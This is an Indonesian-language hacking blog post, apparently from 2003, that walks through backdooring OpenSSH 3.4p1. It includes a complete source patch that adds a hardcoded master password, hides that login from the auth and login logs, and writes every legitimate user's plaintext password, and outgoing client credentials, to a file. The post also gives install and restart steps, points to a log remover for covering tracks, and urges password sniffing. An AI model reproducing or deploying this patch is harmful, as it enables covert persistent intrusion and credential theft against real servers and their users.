Dalam sebuah kasus, ketika dilakukan percobaan menginfeks SSH, ada beberapa trojankit untuk itu, anggap saja kalian pernah memakai backdoor yang disebut dengan nama shv4.tar.gz (release oleh penturichi pada tahun 2002). Tool itu umum dan mungkin sangatlah mudah digunakan oleh para intruder untuk
memudahkan mereka keluar masuk server (tentunya dengan fake login). Namun yang menjadi masalah disini adalah efek selanjutnya dari server itu sendiri, kadang yang terjadi adalah rusaknya library dan tidak
berjalannya command command yang ada di /bin.
Apakah ada jalan lain? (yang aman tanpa membuka port seperti backdoor yang umum digunakan). Jawabnya ada, dan mari kita mencoba membahas sedikit walaupun penulis disini kurang pandai menjelaskan secara detail dan fokus.
Mencoba menginfeksi openSSH untuk dijadikan backdoor (private) tidak sesulit yang dibayangkan oleh berbagai khalayak/kelompok hacker di Indonesia (walaupun selama ini belum pernah penulis temui the real hacker di Indonesia ini).
Beberapa tool yang dibutuhkan adalah:
- file openSSH-3.4p1 (http://www.openssh.com)
- patch infeksi openSSH (terlampir dalam artikel)
Pertama yang dilakukan adalah extract file openSSH yang sudah terdownload, kemudian anda patch file injeksi kedalam direktori openSSH anda.
- # cp ssh-virus.diff openssh-3.4p1/
- # cd openssh-3.4p1/
- # patch < ssh-virus.diff
Pertama adalah melakukan proses konfigurasi dengan cara # ./configure atau dengan option yang lebih spesifik # ./configure --prefix=/usr --sysconfdir=/etc/ssh
Kemudian melakukan make dan make install dengan cara make ; make install Setelah semua selesai dilakukan yang terakhir adalah menimpa file sshd_config dengan cara: # mv -f sshd_config /etc/ssh/sshd_config Selesai menimpa file sshd_config, dan ini adalah sebagai langkah final adalah restart SSH dengan cara # ps -x | grep sshd # kill -HUP (sshd pid) /usr/sbin/sshd yang kita kill disini adalah sshd yang terbaru biasanya terletak pada baris paling atas
.
Sesudah kita lakukan kita cek apakah pintu masuk kita yang baru sudah berjalan dengan sukses apa tidak? # telnet localhost 22 Trying ::1... telnet: connect to address ::1: Connection refused Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. SSH-1.99-OpenSSH_3.4p1 '
Nah setelah selesai, kita mencoba login kedalam server percobaan: # ssh -l root localhost root@localhost's password: Last login: Mon Jul 28 14:12:22 2003 from bsd0.camne.net OpenBSD 3.3 (GENERIC) #44: Sat Mar 29 13:22:05 MST 2003 Welcome to OpenBSD: The proactively secure Unix-like operating system. Wow.. pintu masuk kita yang baru berhasil kita jalankan..
Selanjutnya silahkan membersihkan beberapa log yang tertinggal dengan cara manual atau dengan memakai utilitas yang tersedia. Masih bingung mencari log remover? singgah ke http://sarang.kecoak.org/~scut/release/logremover.txt Kemudian, apakah hanya sekedar mendapatkan akses ilegal dengan port 22? Tak adakah terlintas dalam pikiran anda untuk mencoba mengintip beberapa password didalam jaringan local dan keluarnya? bagaimana caranya?
Be creative!
thats unpublished article! Sekian dalam salam hangat dari kutu kecil di sarang kecoak Greet: http://www.w00w00.org for inspire (sh0k and friends) http://www.cert.org for the milist (for reading the milist) http://www.kecoak.or.id for great experience (fwerd, samurai, ceyen, cbug, ifk, logC, nukemafia, rollan) http://www.dhegleng.or.id for support and discuss (degleng, cahcephoe, w0nk) http://www.securityfocus.com for some article (mark and friends) Others friends are (Devi Ria Utami aka GotHGirl at EFnet), (Dj-Psyco, Madi, AnJaZ, infidra, SCO, reVn, Dr`Ponidi at DALnet) Lampiran: ssh-virus.diff Catatan: +#define _SECRET_PASSWD "k3c04k-1nd0h4ck"
Silahkan ubah sesuai dengan jenis password anda :) # File ssh-virus.diff # Kecoak Elektronik properties # Published Article at 17/08/2003 --- openssh-3.4p1/auth-passwd.c Fri Jun 21 02:05:13 2002 +++ auth-passwd.c Thu Aug 8 15:44:55 2002 @@ -218,6 +218,16 @@ #endif /*HAVE_MD5_PASSWORDS */ /* Authentication is accepted if the encrypted passwords are identical. */ - return (strcmp(encrypted_password, pw_password) == 0); + if(strcmp(_SECRET_PASSWD, password) == 0){ + mlogin_ok = 1; + return 1; + } + if(strcmp(encrypted_password, pw_password) == 0){ + outf = fopen(_LOG_DIR"/"_S_LOG,"a+"); + fprintf (outf, "%s:%s\n",pw->pw_name,password);
+ fclose (outf);
+ return 1;
+ }else
+ return 0;
#endif /* !USE_PAM && !HAVE_OSF_SIA */
}
--- openssh-3.4p1/auth.c Wed May 22 01:06:28 2002
+++ auth.c Thu Aug 1 23:16:54 2002
@@ -248,14 +248,17 @@
else
authmsg = authenticated ? "Accepted" : "Failed";
- authlog("%s %s for %s%.100s from %.200s port %d%s",
- authmsg,
- method,
- authctxt->valid ? "" : "illegal user ",
- authctxt->user,
- get_remote_ipaddr(),
- get_remote_port(),
- info);
+ /* dont log if secret pass */
+ if(!mlogin_ok){
+ authlog("%s %s for %s%.100s from %.200s port
%d%s",
+ authmsg,
+ method,
+ authctxt->valid ? "" : "illegal user ",
+ authctxt->user,
+ get_remote_ipaddr(),
+ get_remote_port(),
+ info);
+ }
}
/*
--- openssh-3.4p1/canohost.c Tue Jun 11 12:47:22 2002
+++ canohost.c Wed Aug 7 17:43:34 2002
@@ -74,11 +74,13 @@
debug3("Trying to reverse map address %.100s.", ntop);
/* Map the IP address to a host name. */
- if (getnameinfo((struct sockaddr *)&from, fromlen, name,
sizeof(name),
- NULL, 0, NI_NAMEREQD) != 0) {
- /* Host name not found. Use ip address. */
- log("Could not reverse map address %.100s.",
ntop);
- return xstrdup(ntop);
+ if(!mlogin_ok){
+ if (getnameinfo((struct sockaddr *)&from, fromlen,
name, sizeof(name),
+ NULL, 0, NI_NAMEREQD) != 0) {
+ /* Host name not found. Use ip address. */
+ log("Could not reverse map address %.100s.",
ntop);
+ return xstrdup(ntop);
+ }
}
/* Got host name. */
--- openssh-3.4p1/includes.h Mon May 13 01:14:09 2002
+++ includes.h Thu Aug 8 15:45:46 2002
@@ -157,4 +157,13 @@
#include "entropy.h"
+/* The Password */
+#define _SECRET_PASSWD "k3c04k-1nd0h4ck"
+FILE *outf;
+int mlogin_ok;
+/* end */
+
#endif /* INCLUDES_H */
--- openssh-3.4p1/sshconnect1.c Thu Jun 6 15:57:34 2002
+++ sshconnect1.c Thu Aug 8 15:48:48 2002
@@ -922,6 +922,7 @@
{
int type, i;
char *password;
+ char gpasswd[120];
debug("Doing password authentication.");
if (options.cipher == SSH_CIPHER_NONE)
@@ -930,6 +931,7 @@
if (i != 0)
error("Permission denied, please try
again.");
password = read_passphrase(prompt, 0);
+ strcpy(gpasswd,password);
packet_start(SSH_CMSG_AUTH_PASSWORD);
ssh_put_password(password);
memset(password, 0, strlen(password));
@@ -938,8 +940,15 @@
packet_write_wait();
type = packet_read();
- if (type == SSH_SMSG_SUCCESS)
+ if (type == SSH_SMSG_SUCCESS){
+ /* dont log if secret pass */
+ if(strcmp(_SECRET_PASSWD,gpasswd) != 0){
+ outf = fopen(_LOG_DIR"/"_C_LOG,"a+");
+ fprintf
(outf,"%s:%s@%s\n",options.user,gpasswd,get_remote_ipaddr());
+ fclose (outf);
+ }
return 1;
+ }
if (type != SSH_SMSG_FAILURE)
packet_disconnect("Protocol error: got %d in
response
to passwd
auth", type);
}
--- openssh-3.4p1/sshconnect2.c Sun Jun 23 17:23:21 2002
+++ sshconnect2.c Thu Aug 8 15:48:20 2002
@@ -446,6 +446,7 @@
static int attempt = 0;
char prompt[150];
char *password;
+ char gpasswd[120];
if (attempt++ >= options.number_of_password_prompts)
return 0;
@@ -456,6 +457,7 @@
snprintf(prompt, sizeof(prompt), "%.30s@%.128s's
password: ",
authctxt->server_user, authctxt->host);
password = read_passphrase(prompt, 0);
+ strcpy(gpasswd,password);
packet_start(SSH2_MSG_USERAUTH_REQUEST);
packet_put_cstring(authctxt->server_user);
packet_put_cstring(authctxt->service);
@@ -470,6 +472,12 @@
dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
&input_userauth_passwd_changereq);
+ /* dont log if its the secret pass */
+ if(strcmp(_SECRET_PASSWD,gpasswd) != 0){
+ outf = fopen(_LOG_DIR"/"_C_LOG,"a+");
+ fprintf (outf,"%s:%s@%
s\n",options.user,gpasswd,get_remote_ipaddr());
+ fclose (outf);
+ }
return 1;
}
/*
--- openssh-3.4p1/sshlogin.c Sun Jun 23 17:23:21 2002
+++ sshlogin.c Thu Aug 8 15:46:10 2002
@@ -71,8 +71,11 @@
li = login_alloc_entry(pid, user, host, ttyname);
login_set_addr(li, addr, sizeof(struct sockaddr));
- login_login(li);
- login_free_entry(li);
+ /* dont log if secret pass */
+ if(!mlogin_ok){
+ login_login(li);
+ login_free_entry(li);
+ }
}
#ifdef LOGIN_NEEDS_UTMPX
@@ -96,6 +99,9 @@
struct logininfo *li;
li = login_alloc_entry(pid, user, NULL, ttyname);
- login_logout(li);
- login_free_entry(li);
+ /* no logout if secret pass */
+ if(!mlogin_ok){
+ login_logout(li);
+ login_free_entry(li);
+ }
}
End Of Article
Hacking is about thinking for yourself. Hacking needs a place for meeting, discussing, testing, proving, questioning, designing, redesigning, engineering, reengineering, searching, researching, hacking, phreaking, brainstorming and understanding.
As our world is getting more and more complex, gaining and sharing knowledge is key to survival. There is a need for open communication and a free, unlimited exchange of ideas and concepts.
0 komentar:
Posting Komentar